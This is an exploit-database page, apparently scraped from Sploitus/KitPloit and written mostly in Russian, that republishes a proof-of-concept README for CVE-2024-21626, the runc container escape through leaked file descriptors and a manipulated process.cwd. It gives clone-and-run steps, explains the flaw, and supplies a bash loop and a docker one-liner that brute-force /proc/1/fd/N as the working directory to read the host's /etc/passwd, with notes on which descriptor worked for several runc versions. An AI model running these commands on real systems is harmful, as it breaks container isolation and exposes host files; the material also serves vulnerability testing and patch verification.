Sploitus

Exploit for CVE-2024-21626

kitploit · 2026-08-28

Exploit Code

MARKDOWN50 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CDXIAODONG-CVE-2024-21626
Эксплуатация:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

Проверка: если получен /etc/passwd хоста, значит уязвимость присутствует.

Окружение: runc: >=v1.0.0-rc93,<=1.1.11

Принцип и детали атаки:

В затронутых версиях runc во время инициализации происходит утечка некоторых внутренних файловых дескрипторов, включая дескриптор /sys/fs/cgroup хоста, при этом runc не проверяет, находится ли конечная рабочая директория в mount namespace контейнера. Атакующий может изменить конфигурацию process.cwd на /proc/self/fd/7 или заменить конкретный путь, переданный в параметре --cwd при вызове runc exec на хосте, символической ссылкой на /proc/self/fd/7/, что позволяет процессам внутри контейнера получать доступ к файловой системе хоста и управлять ею, обходя механизм изоляции контейнера.

Подробнее (gif-изображение):

  1. Атакующий использует самодельный пакет docker-poc для эксплуатации CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io)
  2. Этот docker-image пока не открыт в публичном доступе, 20240201 ![img_v3_027l_c9651fc0-e6db-4524-9363-1e12fca4f8dg](https://assets.kitploit.com/production/public/readmes/23775/8bebcfe048ad76ada1528a553a399b35c1127e269fe7c5d4b3e5c3463ce4e53d.jpg)
  3. Логика изменений в официальном исходном коде: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
  4. Runc подвержен прорыву контейнера через уловку Process.CWD и утечку FDS · CVE-2024-21626 · База данных рекомендаций GitHub



CVE: CVE - CVE-2024-21626 (mitre.org) Исследователь, обнаруживший эту уязвимость: CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io) ![image](https://assets.kitploit.com/production/public/readmes/23775/385c594335cc0e5b56371e3c725726fedc3effedb6ddc62a06390cb6de08d6a2.png)

Фактический fd может меняться в зависимости от порядка открытия файлов. Для перебора можно использовать следующий скрипт:

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Локальный тест успешен: fd/9 сработал: runc-version: 1.1.10 1.1.2 ![image](https://assets.kitploit.com/production/public/readmes/23775/8024b8ad3e2adbbabc173f4b59dcedae0ba9bc38d6f6cc1c8afa39f5b0a4e687.png)

При runc --version 1.0.0: ![image](https://assets.kitploit.com/production/public/readmes/23775/1756af8b5a7a73e03351a7560b421976529a044c4fcab767a01eace06a5f9dd5.png)

При runc --version 1.1.4 fd/8 сработал: ![image](https://assets.kitploit.com/production/public/readmes/23775/b9ed322a832927ea4ed18e530fd983e91777d20b21ab7944957561955bf228a7.png)

Дыра появилась только сегодня. Ниже расскажу подробнее.

Воспроизвести можно следующими способами:

  1. runc - input: ручная компиляция с точками останова
  2. ebpf: прослушивание runc и установка точек останова
  3. runc create demo runc exec demo ls /proc/1/fd -a — можно сразу увидеть соответствующие символические ссылки
  4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd — перебор



todo: Получение df через точки останова в runc для автоматизации.